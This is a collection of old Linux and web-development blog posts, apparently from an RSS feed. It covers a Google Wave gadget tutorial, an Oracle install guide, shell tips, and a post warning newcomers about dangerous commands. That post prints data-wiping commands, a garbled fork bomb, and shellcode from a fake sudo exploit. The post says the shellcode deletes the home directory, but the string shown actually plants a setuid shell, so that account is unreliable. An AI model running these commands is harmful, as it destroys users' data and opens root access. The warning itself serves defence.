» Publishers, Monetize your RSS feeds with FeedShow: More infos (Show/Hide Ads)
We just released the beta version of tweat.org – a site which maps the best meals in your town. We (by we mean me and the awesome Trent Cutler) decided that we also need a Tweat extension for Google Wave. It might be very useful for users to find out the best restaurant to go for their next lunch – from right within Google Wave! I’m already started working on it, and you should hear about an awesome Google Wave extension pretty soon
After using Google Wave for about 10 days, I’ve absolutely fallen in love with it. It’s not only fun, but is a very useful collaboration tool. I honestly believe that it will change the way we communicate. One of the most powerful features of Google Wave is its support for extensions. In this post I will show how to create a simple multi-user interactive map gadget. Read on if you are interesting in developing a Google Wave gadget. If you only jumped in to this site looking for a Google Wave invitation, this might help you out to get one. If you have a Google Wave account and want to try this gadget, here is the link to the gadget: http://wave.tweat.org/gwave/tut/tut.xml
What really are we going to create?
A Google map which contains a marker showing the current location. Any one of the participants can change the current location of the map. The ‘change’ will be reflected on the map of all the participants. There is already a full featured Google Wave gadget called Mappy, and you can even read its source code. This post is just a beginner’s guide and also the full featured Mappy is advance and pretty hard to understand.
This is just the first part of a long series of tutorials on Goolge Wave gadget. In other parts we will try to integrate geo-location and other features similar to the one we have in tweat.org. If you want to see any other features, let me know in the comments.
Though developing a gadget is very easy and intuitive, it is not so easy to test the gadget from within your local server. Unless you have access to Google Wave Sandbox, which I unfortunately don’t have, it is going to be a bit difficult. Nevertheless, it is very fun and I would say very good investment to invest some time and efforts in learning how to develop a Google Wave gadget. Before you open up your text editor and start acting like a code monkey, there are few things you need:
- Obviously, a Google Wave account. If you have someone else that can be with you while you are testing, that would be very convenient! For those of you who don’t have any Google Wave account or if you need another one – this might help you out.
- Get a Google AJAX Libraries api key: http://code.google.com/apis/maps/signup.html. We will be using Google Map, and JQuery hosted at Google CDN.
- After you are ready to test your gadget, you need to host your files in a publicly accessible place. If you don’t have one and don’t mind sharing your gadget making it an open-source, you can try Google’s own Gadgets API Developer Tools http://code.google.com/apis/gadgets/docs/tools.html#Host which allows you to host your gadget for free!
That’s all we need for now.
Getting Started:
Fireup your favorite text editor and start with the following:
<body>
<div id="map_canvas" style="height: 350px; width:500px"></div>
<input type="text" name="address" />
<input type="submit" name="submit" value="submit" />
</body>
We just created a 350×500px div to hold our map. We also created an input box to type in the address, and a submit button to geocode the address and show on the map. Let’s move into the main part, the javascript part. Add the following codes just before the
<head>
<script src="http://www.google.com/jsapi?key=<PUT YOUR JS API HERE>" type="text/javascript"></script>
<script>
google.load("maps", "2");
google.load("jquery", "1.3");
</script>
</head>
What are we doing here? Not much except than just loading Google Maps (v2) and Jquery (v1.3) library from Google CDN.
Now the fun part, add the following lines just before the closing tag. Don’t worry if you don’t understand even a single line, we will go through each line and will see what’s going on.
<script type="text/javascript">
var map;
var geocoder;
var marker;
$(function(){
map = new GMap2(document.getElementById("map_canvas"));
map.setUIToDefault();
geocoder = new GClientGeocoder();
map.getInfoWindow();
marker = new GMarker(new GLatLng(0,0));
map.addOverlay(marker);
map.setCenter(marker.getLatLng(),13);
$('input[name=submit]').bind('click', function(){
address = $('input[name=address]').val();
wave.getState().submitDelta({
'address':address
});
return false;
});
});
function reload(){
address = wave.getState().get('address');
geocoder.getLatLng(address, function(latlng){
if(!latlng){
alert("Cannot determine the address");
}else{
marker.setLatLng(latlng);
map.setCenter(latlng, 13);
}
})
}
function init() {
if (wave && wave.isInWaveContainer()) {
wave.setStateCallback(reload);
}
}
gadgets.util.registerOnLoadHandler(init);
Details:
Let's talk about the function init and the last line:
gadgets.util.registerOnLoadHandler(init)
The line says that whenever the gadget is loaded, call the init method. The name of the function can be anything, it doesn’t have to be init. init just makes it clear, and intuitive that this function will be called when the gadget will be initialized. Now, inside the init function, we check that the wave has been defined and the wave is in the wave container (which is the job of Google Wave to create and initialize wave object you don’t have to worry about this). If it is then whenever there is a change in wave’s state, it calls the global function reload. If you are smart enough, you might have already guessed that the reload will be the main function handling all of our user interactions.
On the top, we started by declaring three global variables:
map -> for holding reference to the map that we are going to add
geocoder -> to convert the given address into latitude/longitude value
marker -> for holding reference to the marker which will represent the given address on the map
Now, we want to add map to the div ONLY after dom is ready for which we will use the wonderful JQuery:
$(function(){
Now, we will create our map, attach the map to our div, set the map UI to default. We will create a geocoder object, and a marker:
map = new GMap2(document.getElementById("map_canvas"));
map.setUIToDefault();
geocoder = new GClientGeocoder();
map.getInfoWindow();
marker = new GMarker(new GLatLng(0,0));
map.addOverlay(marker);
map.setCenter(marker.getLatLng(),13);
Please notice that the the marker’s initial position is at 0,0 and also the initial zoom is 13
Now, we will bind the click action on the submit button…
$('input[name=submit]').bind('click', function(){
…and get the current address from the input box:
address = $('input[name=address]').val();
Now, it is time to make our map react with the submit button’s click action. For this we will pass a key/value pair (called map in JavaScript) to wave which will notify our reload function (we will come to this function in a few seconds):
wave.getState().submitDelta({
'address':address
});
return false;
These two lines are really important. We are passing the value from the input box held in address variable to wave’s current state.
Now, we will write a global function reload which will be called every time one of the participants clicks on the submit button to set a new address.
We will first grab the value of address from the map that we passed in line 17-18:
address = wave.getState().get('address');
We will now use Google’s geocoding service to get the equivalent latitude/longitude value for this address:
geocoder.getLatLng(address, function(latlng){
if(!latlng){
alert("Cannot determine the address");
}else{
marker.setLatLng(latlng);
map.setCenter(latlng, 13);
}
})
If the geocoder returns a latlng value we will set the marker, and center our map to that latlng otherwise we will alert the participants that the address cannot be determined.
That’s all for our application part. Now, it is time to wrap up our code in a format recognized by Google Wave. Include following lines on top of the file (before ):
<Module>
<ModulePrefs title="My first Google Wave Gadget" height="450">
<Require feature="wave"/>
</ModulePrefs>
<Content type="html">
<![CDATA[
ModulePrefs is the place where you can set all the settings for your gadget such as height, width, title, icon, thumbnail etc. Among other, height is important and you might have to do a little bit of hit-and-trial to get to the height which won't cover a part of your gadget inside a wave. For more information about available settings, please visit official Google Wave documentation.
Finally, finish off the code by closing the xml tags. At the end of your file, right after </body> tag, include:
]]>
</Content>
</Module>
Download the source:
Download the source file from here to see, and be sure that it matches everything with yours.
What next?
As I’ve already talked about this earlier, this is just the first part, I will definitely come up with other parts to make this gadget more useful. I do hope that you guys will also share your knowledge, and experience with me, and other readers. I would definitely welcome any feedback and constructive criticism. Keep coming back as the next extension we will be developing, after we finish this gadget, will be a Google Wave Robot!!! For now start a new wave with one of your friends so that you can test out your first ever Google Wave gadget. If you don’t find anyone, ‘buzz’ me at ashokgelal[at]googlewave[dot]com. If I’m online and not busy, I will definitely help you out. In the mean time, don’t forget to follow me at Twitter @ashokgelal and also tweatorg @tweatorg.
Happy Waving!
No related posts.
Related posts brought to you by Yet Another Related Posts Plugin.
One of the few complaints against any Linux OS – Difficult to install software which are not in the repository or in the standard .rpm/.deb format. Windows users enjoy double clicking an executable and then clicking NEXT button few times, Mac users just need to drag that .dmg file to the Application folder. Linux users feel themselves left out and find their own way playing with the Terminal, editing different system files, copying files from here to there and finally setting up some environment variables. Whew!
After switching to Ubuntu, I tried to install Oracle but no luck until I found this guide from Augusto Bott . He has really written an excellent guide on installing Oracle on different versions of Ubuntu. But again with this guide also the users need to open different files and edit them manually. It isn’t that much difficult but if you are like me who often needs to reinstall/upgrade Ubuntu for one reason or other, reading the whole guide and manually editing the system files is really time consuming and cumbersome. So, to save my time for future installation of Oracle database on my Ubuntu box, I wrote a couple of scripts (four scripts to be exact). Running these four scripts will install Oracle database and will give you a fresh database to start with. To facilitate visual-learners, I’ve also made two videos which have been embedded below. I will explain how to proceed briefly below:
1. Download all four scripts.and unzip them
2. Extract Oracle database downloaded from Oracle to a folder (such as in your home folder)
3. Open 2_OraInstaller.sh in a text editor and change the source/destination values. The default values assume that you have extracted the Oracle installer files in ~/oracle folder and you want to install Oracle db in /opt/oracle folder.
4. Open 4_OraInstaller.sh in a text editor and change the name of your database instance (dbSID). The default is oraIntrepid.
5. Fire up the Terminal and make all the files executable:
$chmod 755 ./1_OraInstaller.sh
$chmod 755 ./2_OraInstaller.sh
$chmod 755 ./3_OraInstaller.sh
$chmod 755 ./4_OraInstaller.sh
6. Make sure you have at least 3gb free space where you want to install your Oracle DB
7. Execute: $./1_OraInstaller.sh
You need to logoff and login once
8. Execute: $./2_OraInstaller.sh
This will install Oracle in silent mode. Please be patient as it will take some time and be very sure that YOU ARE CONNECTED TO THE INTERNET!!!
9. Execute: $./3_OraInstaller.sh
You need to restart you computer once at this point.
10. Execute: $./4_OraInstaller.sh
This will install Oracle database instance in silent mode. This will take about 15 mins so be very patient.
At this point your Oracle installation on your Ubuntu box is complete.
Here are two videos showing all the above steps:
Click here to view the embedded video.
Click here to view the embedded video.
No related posts.
Related posts brought to you by Yet Another Related Posts Plugin.
Happy Linux commanding!
Who says Linux commands are just for geek people? And who says it is just a fun toy? Linux is simple yet productive, the only limitation is your imagination. Those who argue me with me for Linux being simple, here is a popular saying:
*NIX is basically a simple operating system, but you have to be a genius to understand the simplicity
In this post, we will talk about few commands and write a couple of scripts (don’t worry, it will be damn simple). Some guys might blame that these commands/ scripts have no use and might shout “why the hell do we need that.” Remember, these are just the tools. It’s upto you how well you use these tools for your tasks. Also remember, one who discovers the alternative uses of a tool is often called a Genious. Let’s get started:
1. Make Linux speak that he loves himself.
espeak "I Love Linux"
Now you should be asking why the hell I need that? Well, what about you have a document, or a story and someone in your family is blind, or can’t see nicely. You don’t have enough time reading the document for him/ her. Ask him to sit in front of a computer and run this: espeak < documentName
We have more to do with espeak, you can even output the file to a .wav file or a .ogg file so that you can record them in a CD and mail to someone you care!
Still not impressed? What about making it to read your email, or run it in the background so that it alerts you whenever a new mail arrives in your Inbox and then reads the sender’s name, and subject. Also, if you are little ambitious, you can even make it say the weather, if the weather changes drastically. I won’t discuss how to make it read your mails, or weather; I’m just talking about possibility. When I get some time, I’m thinking to write a script which reads my Gmails. Just keep coming back!
2. Making your own commands.
You have heard Linux is highly customizable. How about writing your own simple command. We will write a small script which allows you a convenient way to change the directories, actually to go back several levels up. Let’s suppose you are inside /home/yourhome/a/b/c/d/e/f/g/h/i/j directory. You want to change the directory (cd) to several levels up. You can easily do this with somthing like cd ../../../../.. But what about something as similar as up 3 which will take you 3 levels up
Fireup your favorite text editor and type the following (don’t be intimated by thinking that you are programming something, I will explain this script line by line, don’w worry!):
#!/bin/bash
LEVEL=$1
for ((i = 1; i <= LEVEL; i++))
do
CDIR=../$CDIR
done
cd $CDIR
echo "You are in: "$PWD
exec /bin/bash
Save the file as up and issue following two commands:
$ chmod 755 ./up
$ sudo cp up /usr/bin
Now, from your home directory try using this command:
$ up 2
Where are you at? At root directory! See how easy it was? Let’s see how our little script chef made pizza for us:
#! /bin/bash -> you are using bash script
LEVEL=$1 -> $1 is the first parameter passed to this script assigned to LEVEL
for ((i = 1; i <= LEVEL; i++)) -> for some times (upto LEVEL)…
do -> …we will go round…
CDIR=../$CDIR -> …creating our path and assigning it to CDIR and…
done -> …when we are done…
cd $CDIR -> …we will change our directory to the path we have created above and…
echo "You are in: "$PWD -> …we will let you know where you are and finally…
exec /bin/bash -> …we are done so let’s get a new shell
That’s was not to easy but wasn’t too hard either. It is not too hard to ease your repetitive tasks with a single file and increase your productivity.
Let’s make another little script…
3. What do you usually do changing a directory? List it contents right? How about this little script?
#!/bin/bash
cd $1
ls
exec /bin/bash
That’s it! Save it as cdls or something like that and then issue this command:
$ chmod 755 & sudo cp cdls /usr/bin
For Ubuntu users, if you want a script that keeps track of all your “apt-get” activities by posting them to your Twitter account, try this little handy script.
4. One more thing about cd. Which is the fastest and easiest cd command that take you to your home directory? cd /home/yourhome ? cd ~ ? cd itself!
$ cd
It takes you to your home directory
5. Tired of typing clear to clear your screen? Press ctrl + l
That’s it for today. Happy Halloween!
No related posts.
Related posts brought to you by Yet Another Related Posts Plugin.
Codeweaver, the maker of crossover software which allows you to run Windows applications in Linux & MacOS with the help of Wine, will be giving away its award wining software for free for one day.
Tomorrow, October 28, will be a day of joy for the Linux users who are looking to run some of the Windows Applications with Wine. Don’t forget to visit Codeweaver’s home page at least once tomorrow as they will give you a deal code which will allow you to download and use Crossover for free for your whole life. This will be a full version and will come with technical support. Did you bookmarked the site?
BTW, don’t forget to thanks George Bush for this. An excerpt from their press release:
“I launched the campaign to inspire President Bush to make the most of his final days in office. Who knew that our Challenge would have this kind of impact on the country?” White said. “On the other hand, who knew that the economy would implode, causing oil demand to drop into the abyss and gas prices to plummet as well. Clearly, investigating Bear Stearns, AIG and those guys is misplaced – CodeWeavers is responsible for this mess. So it’s free software for all!”
Related posts:
- Kick ass guide for installing Oracle on Ubuntu Four steps for installing Oracle on Ubuntu. Steps by steps...
Related posts brought to you by Yet Another Related Posts Plugin.
Some links for this weekend:
- 5 Wallpaper Changer Apps For Linux
- Kubuntu 8.10 ‘Intrepid Ibex’ Beta Screenshots Tour
- WINE Developers Start On Direct3D 10 Support
- Dell first ad – All About Ubuntu Linux
- Fedora 10 – A Detailed Discussion on 13 Prime Features
- Linux Foundation values Linux at $10.8 billion, kernel at $1.4 billion
- Mac OS is better than Ubuntu Linux: A myth
- 5 Gmail Notifiers For Linux
- Ubuntu explains OpenOffice.org 3.0 decision
- 9 tips for Ubuntu notebook users
No related posts.
Related posts brought to you by Yet Another Related Posts Plugin.
Happy Linux Commanding! But be careful!
The heading is self-explanatory. Linux Terminal seems dump but nothing is more clever than it. Linux is powerful and fun. When it is about something’s strength remember what Uncle Ben said.
When you are new to Linux you often seek to get help from others and almost most of the advices you get will be in the form of some commands such as ps, top, modprobe, lspci etc. Be careful when you run these commands as some Anti-Linux a**holes try to fool new Linux users in the name of tips and tutorials.If after following such command(s), you lose all your files, no one is to be blamed but you.
If you want save yourself, here is one principle: Be aware of what you are doing! Just don’t do what someone suggest you. Fireup man page, look what the command is about. This way you can learn a couple of more options too. If you are in doubt about the commands, go to a couple of forums and put all information you have such as: Hello I was trying to do this, and a guy from forum.xyz.com suggest me to issue this command. I suspect this is a harmful command. Any suggestions? Take my words, Linux carries a strong spirit with it – spirit to share knowledge. And you will get some good explanatory suggestions very quickly. If you are still in doubt, I suggest you to issue the commands inside virtual OS:
Last thing first. Today I will be posting some harmful Linux commands. DO NOT ISSUE THESE COMMANDS! These commands are just for your information. These commands are not made for making harm to your computer, but with a couple of options it can be very dangerous. After all Linux doesn’t know that a folder inside your home directory contains your first girlfriend’s picture! It is your duty to ensure they are safe. Let’s get started. I repeat DON’T ISSUE THESE COMMANDS. If you want to test, I suggest you to run them inside a virtual Linux OS.
1. The king of all devils:
rm -rf /
Q. What does rm do?
A. Removes a file
Q. What is r?
A. Recursion. That means inside a folder, of a folder, of a folder and so on
Q. what is f?
A. Force. It means you are saying to the command “Never ask me anything. Just do what you want to do”
Q. What is /
A. Your ROOT directory!
See what it does? Recursively removes all the files inside your root directory without nagging you – “Should I delete this?”
There are various versions of rm available such as:
rm -rf .
rm -rf *
Not only someone from outside, you yourself can screw up things sometimes. Little knowledge is dangerous! How about this – you want to delete all the hidden files inside a directory. That’s easy right? Hidden files are denoted with . in front so you might be thinking this command rm - .* Nooooooooooo!!! It will delete all the files one level up of the current directory.
2. How about backing up your home directory or some folders? Never try to do anything such as:
mv /home/yourhomedirectory/* /dev/null
Q. What is mv?
A. Move files
Q. What is dev/null?
A. Null means nothing. In other words, it is a black-hole.
If you issue above command, it will move all the files inside your home directory to a blackhole.
3. Linux Terminal is not a toy to play, it’s something to learn and do some productive things. I just mean to warn you don’t type anything silly and hit enter such as this:
){:|:&};:
Those seem like emoticons but they are actually shell programming stuffs and have special meaning. The above command executes different process freezing your computer and you will get a BSOD, a sort of!
4. How about making a Linux filesystem?
mkfs.ext3 /dev/sda
You hard disk’s data are gone, and will never come back again. That was a poor farewell party for your documents.
5. Do you know eyes and your knowledge both can lie? Well sometimes. What do you see in the following C file written by someone claiming New sudo off-by-one poc exploit? Any sign of devil?
...char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;…
Well this is a hex coded version of rm -rf ~ / & . This does nothing more than wiping off your home directory.
These are only a few guidelines you need to follow. If you know some more, drop them in comments.
If you want to learn Linux, conquer its power, have fun, and be productive, you need to be careful, helpful, and share your knowledge. If you have any knowledge on Linux that you want to share, let us know in comments or shoot me an email.
So what did you learn today?
No related posts.
Related posts brought to you by Yet Another Related Posts Plugin.
A week before the final release of Ubuntu 8.10, the guys at Canonical has released the last testing version RC1. Since this is only RC1, no changes in the features was expected. As discussed in my previous post, two system tools USBLive and System Cleaner, will be bundled with Ubuntu 8.10, change of the wallpaper, integrating a new Dark Room theme are among the noticeable changes in this version. Get Ubuntu 8.10 RC1 from here.
No related posts.
Related posts brought to you by Yet Another Related Posts Plugin.
Canonical, the distributor of Ubuntu OS, is often blamed for not listening the community such as ignoring the request for changing/improving default appearance. But not this time. Ever since they launched brainstorm.ubuntu.com, they have been very responsive about what the Ubuntu fans want. As a result of this Intrepid Ibex, which is due to release on 30th of this month, will be packed with two very useful system tools:
Just few days ago, I wrote a post on making a live Ubuntu usb disk in three easy steps. Integrating a live USB maker tool into Ubuntu default installation has been one of the popular requests on brainstorm site.
A new application USBLive has started showing up in Ibex beta. As you might have guessed, this handy tool helps you to make pizza. Just kidding! Of course, it allows you to make a USB bootable disk with Ubuntu in it. Just give the source image (.iso) file or insert a live CD, plug-in your USB drive, adjust the space to be reserved by the default installation, and click Make Startup Disk. How easy as that? You can access USBLive from System>Administration>Create Startup Disk menu
Another system tool that has been included is System Cleaner. It cleans up your system to make it
‘kinda-new’. You can clean all the installed applications or select only those which you are not going to use any more. Access System Cleaner from Applications>System Tools>System Cleaner menu At first, you might think removing the applications can already be done with Add/Remove tool. So, what’s the difference? Nothing! It just gives you a list of those applications which you have installed after running up Ubuntu for the first time. No confusions whatsoever. It comes very handy when, for an example, you don’t want to poke the default applications but only want to remove those non-sense applications which you gave try few days ago. BTW, if you want to track all you apt activities, the ever useful tapt is always there.
No related posts.
Related posts brought to you by Yet Another Related Posts Plugin.
Got bored of those dull Google colors and themes? GoogleRedisgned is a Firefox/Flock extension which gives a totally new look to some of the Google products such as Gmail and GCalendar. Check these screenshots:
Impressed? If yes than you might want to try it out, install GoogleRedesigned extension from the extension’s homepage.
[via: globexdesigns.com. Thanks to Sash for the link.]
No related posts.
Related posts brought to you by Yet Another Related Posts Plugin.
Spent countless hours figuring how to install Ubuntu to make use of those extra GBs in your pen drive? pendrivelinux.com has got everything done for you. All you lazy folks have to do is:
1. Boot from you Ubuntu 8.10 live CD.
2. Plug in your pen drive, open a Terminal and issue following commands:
$ wget pendrivelinux.com/downloads/u810/u810.sh
$ chmod +x u810.sh && sh u810.sh
3. Follow the online instructions and reboot your system, change the BIOS setting so that your system boots up from a USB drive.
That’s it!
For complete step-by-step instructions and buy them a cup of coffee, visit pendrivelinux.com
[via: http://www.pendrivelinux.com/2008/10/15/ubuntu-810-persistent-flash-drive-install-from-live-cd/]
Related posts:
- Kick ass guide for installing Oracle on Ubuntu Four steps for installing Oracle on Ubuntu. Steps by steps...
Related posts brought to you by Yet Another Related Posts Plugin.
Hey Tux lovers, here are some good articles:
- Advanced Tips For The ps Command
- How to Find duplicate copies of files Using fdupes in Ubuntu
- Ubuntu 8.10 Coming Soon
- 5 Things I Wish Linux Had
- Making The Switch To Linux – Keep In Mind … (10 Ubuntu Tips)
- Three Cool 3D Car Racing Games for Linux
- Quick Look at KDE 4.2-SVN
- Switch to Ubuntu Linux not Apple Mac OS
- Free/Open-source Digital Audio Editors
- Professional-Level Photography With Linux, And Nobody Goes To Jail
No related posts.
Related posts brought to you by Yet Another Related Posts Plugin.














